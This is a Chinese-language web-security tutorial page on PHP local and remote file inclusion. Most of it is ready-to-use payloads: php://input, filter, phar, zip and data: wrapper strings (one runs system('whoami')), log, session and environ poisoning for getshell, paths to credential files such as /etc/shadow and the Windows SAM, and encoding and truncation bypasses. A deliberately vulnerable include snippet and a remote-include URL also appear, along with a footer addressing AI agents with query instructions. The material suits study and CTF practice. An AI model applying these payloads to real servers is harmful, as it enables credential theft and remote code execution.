# 1.39 文件包含漏洞

## 描述

文件包含漏洞是"代码注入"的一种，包含即执行，又分为LFI和RFI两种。

RFI的利用条件较为苛刻，需要php.ini中进行配置

allow\_url\_fopen = On allow\_url\_include = On

## 危害

* PHP包含漏洞结合上传漏洞；
* PHP包含读文件；
* PHP包含写文件；
* PHP包含日志文件；
* PHP截断包含；
* PHP内置伪协议利用。

PHP中文件包含函数有以下四种：

```php
require()
require_once()
include()
include_once()
```

nclude和require区别主要是，include在包含的过程中如果出现错误，会抛出一个警告，程序继续正常运行；而require函数出现错误的时候，会直接报错并退出程序的执行。

而include\_once()，require\_once()这两个函数，与前两个的不同之处在于这两个函数只包含一次，适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下，你想确保它只被包括一次以避免函数重定义，变量重新赋值等问题。

当使用这4个函数包含一个新的文件时，该文件将作为PHP代码执行，PHP的内核并不会在意被包含的文件是什么类型。即你可以上传一个含shell的txt或jpg文件，包含它会被当作PHP代码执行（图马）。

最简单的漏洞代码：

```php
<?php include($_GET[file]);?>
```

![](http://ww1.sinaimg.cn/large/007F8GgBly1g1iph1tpt1j313a0gaac1.jpg)

## 漏洞利用

### 伪协议

#### php\://input

利用条件：

* allow\_url\_include = On。
* 对allow\_url\_fopen不做要求。

解释：上面filter既然能读文件，肯定还能写文件，这就可以利用input将数据POST过去，即php\://input是用来接收post数据的；

用法：?file=php\://input 数据利用POST传过去

注意：如果php.ini里的allow\_url\_include=On（PHP < 5.30）,就可以造成任意代码执行，在这可以理解成远程文件包含漏洞（RFI），即POST过去一句话，即可执行；

![](http://ww1.sinaimg.cn/large/007F8GgBly1g1iqa2n8g3j314r0g20uq.jpg)

#### php\://filter

利用条件：无甚

解释：php\://filter是一种元封装器，设计用于"数据流打开"时的"筛选过滤"应用，对本地磁盘文件进行读写。简单来讲就是可以在执行代码前将代码换个方式读取出来，只是读取，不需要开启allow\_url\_include；

用法：?file=php\://filter/convert.base64-encode/resource=xxx.php

?file=php\://filter/read=convert.base64-encode/resource=xxx.php 一样

![](http://ww1.sinaimg.cn/large/007F8GgBly1g1iqh5dghej315o0g075w.jpg)

#### phar://

利用条件：

php版本大于等于php5.3.0

phar是一个文件归档的包，类似于Java中的Jar文件，方便了PHP模块的迁移。 php中默认安装了这个模块。

假设有个文件phpinfo.txt，其内容为\<?php phpinfo(); ?>，打包成zip压缩包

使用绝对路径

> index.php?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt

或者相对路径

> index.php?file=phar://test.zip/phpinfo.txt

![](http://ww1.sinaimg.cn/large/007F8GgBly1g1iqpbtez2j310n08yjsg.jpg)

#### zip\://

利用条件：

php版本大于等于php5.3.0 姿势： 构造zip包的方法同phar。

但使用zip协议，需要指定绝对路径，同时将#编码为%23，之后填上压缩包内的文件。

> index.php?file=zip\://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt

![](http://ww1.sinaimg.cn/large/007F8GgBly1g1iqrmj4jtj312d0f6myy.jpg)

#### data:URI schema

利用条件：

php版本大于等于php5.2 allow\_url\_fopen = On allow\_url\_include = On

姿势一：

> test.php?file=data:text/plain,\<?php phpinfo();?>

![](http://ww1.sinaimg.cn/large/007F8GgBly1g1iqzjqz1tj315n0ittba.jpg)

姿势二：

> file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
>
> ?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==

![](http://ww1.sinaimg.cn/large/007F8GgBly1g1ir0ugupdj31160h90u9.jpg)

和php伪协议的input类似，碰到file\_get\_contents()来用；

题目代码

```php
<?php
$user=$_GET['user'];
#echo $user;
if(isset($user)&&(file_get_contents($user,'r')==='the user is admin')){
    echo "flag{xxxxxxxxxxxxx}";
}
else{
    echo "you are not admin ! ";
}
?>
```

![](http://ww1.sinaimg.cn/large/007F8GgBly1g1ir3zupwmj30vn0d675g.jpg)

### 无限制包含

就是可以随意包含的那种..

一些常用的敏感日志

windows

```
c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息
```

linux

```
/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件
```

### session文件包含

利用条件：

session的存储位置可以获取。

1. 通过phpinfo的信息可以获取到session的存储位置。

![](http://ww1.sinaimg.cn/large/007F8GgBly1g1irb5dwnjj30m304bjrj.jpg)

1. 通过猜测默认的session存放位置进行尝试。

如linux下默认存储在/var/lib/php/session目录下：

实例

```php
<?php

session_start();

$ctfs=$_GET['ctfs'];

$_SESSION["username"]=$ctfs;

?>
```

此php会将获取到的GET型ctfs变量的值存入到session中。

![](http://ww1.sinaimg.cn/large/007F8GgBly1g1irh2tu3lj30xv0jzgou.jpg)

通过上面的分析，可以知道ctfs传入的值会存储到session文件中，如果存在本地文件包含漏洞，就可以通过ctfs写入恶意代码到session文件中，然后通过文件包含漏洞执行此恶意代码getshell。

![](http://ww1.sinaimg.cn/large/007F8GgBly1g1irjo2662j30vh0cdmyn.jpg)

### 日志文件包含

PayLoad：

> <http://localhost/include/file.php?file=>\<?php phpinfo(); ?>

日志会记录客户端请求及服务器响应的信息，访问<http://www.xx.com/>\<?php phpinfo(); ?>时，\<?php phpinfo(); ?>也会被记录在日志里，也可以插入到User-Agent

然后

payload：

> <http://localhost/include/file.php?file=../../apache/logs/access.log>

注意，写入时防止转义，使用burp抓包上传

当然ssh的日志也是可以的，比如

![](http://ww1.sinaimg.cn/large/007F8GgBly1g1iryaum2wj311p03maab.jpg)

### 包含/proc/self/environ文件

利用条件：

php以cgi方式运行，这样environ才会保持UA头。 environ文件存储位置已知，且environ文件可读。

姿势：

proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码，则php代码会被写入到environ中。之后再包含它，即可。

### 包含fd

<https://highon.coffee/blog/lfi-cheat-sheet/#procselffd-lfi-method>

### 包含临时文件

php中上传文件，会创建临时文件。在linux下使用/tmp目录，而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前，利用竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解，linux下使用的随机函数有缺陷，而window下只有65535中不同的文件名，所以这个方法是可行的。

另一种方法是配合phpinfo页面的php variables，可以直接获取到上传文件的存储路径和临时文件名，直接包含即可。

## 绕过姿势

### 指定前缀

代码

```
<?php
    $file = $_GET['file'];
    include '/var/www/html/'.$file;
?>
```

这个最简单了，简要的提一下。

现在在/var/log/test.txt文件中有php代码\<?php phpinfo();?>，则利用../可以进行目录遍历，比如我们尝试访问：

> include.php?file=../../log/test.txt

服务器端常常会对于../等做一些过滤，可以用一些编码来进行绕过

```php
利用url编码
../
%2e%2e%2f
..%2f
%2e%2e/
..\
%2e%2e%5c
..%5c
%2e%2e\
二次编码
../
%252e%252e%252f
..\
%252e%252e%255c
容器/服务器的编码方式
../
..%c0%af
注：Why does Directory traversal attack %C0%AF work?
%c0%ae%c0%ae/
注：java中会把”%c0%ae”解析为”\uC0AE”，最后转义为ASCCII字符的”.”（点）
Apache Tomcat Directory Traversal
..\
..%c1%9c
```

### 指定后缀

接着考虑指定后缀的情况。测试代码:

```php
<?php
    $file = $_GET['file'];
    include $file.'/test/test.php';
?>
```

在远程文件包含漏洞（RFI）中，可以利用query或fragment来绕过后缀限制。

#### url格式为：

> protocol :// hostname\[:port] / path / \[;parameters]\[?query]#fragment
>
> index.php?file=<http://remoteaddr/remoteinfo.txt%23>

![](http://ww1.sinaimg.cn/large/007F8GgBly1g1it42c283j314e0md770.jpg)

> index.php?file=<http://remoteaddr/remoteinfo.txt?>

![](http://ww1.sinaimg.cn/large/007F8GgBly1g1it4za0v3j312f0k476e.jpg)

#### 利用协议

![](http://ww1.sinaimg.cn/large/007F8GgBly1g1itaot5pvj311l0j0tar.jpg)

构造压缩包如下：

![](http://ww1.sinaimg.cn/large/007F8GgBly1g1itbpu3r2j30k602vgli.jpg)

test.php内容为：

```php
<?php phpinfo(); ?>
```

则拼接后为：zip\://D:\phpStudy\WWW\fileinclude\chybeta.zip#chybeta/test/test.php

#### 长度截断

利用条件： php版本 < php 5.2.8

目录字符串，在linux下4096字节时会达到最大值，在window下是256字节。只要不断的重复./

> index.php?file=././././。。。省略。。。././shell.txt

则后缀/test/test.php，在达到最大值后会被直接丢弃掉。

#### 点号截断

条件：windows OS，点号需要长于256

> ```
> ?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
> ```

#### %00 截断

利用条件： php版本 < php 5.3.4

截断更多地用于文件包含，比如 \<?php include($\_GET\['path']).".jpg" > 要求一定是jpg 后缀的，这样我们可以用 1.php?path=php\://input%00 这样就把后面的 .jpg 吃掉了。同理 path=../../../../etc/passwd%00 读取 /etc/passwd

## 漏洞测试

测试工具

> <https://github.com/P0cL4bs/Kadimus/>

## 防御方案

* 在很多场景中都需要去包含web目录之外的文件，如果php配置了open\_basedir，则会包含失败
* 做好文件的权限管理
* 对危险字符进行过滤等等


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ninjia.gitbook.io/secskill/web/incle.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
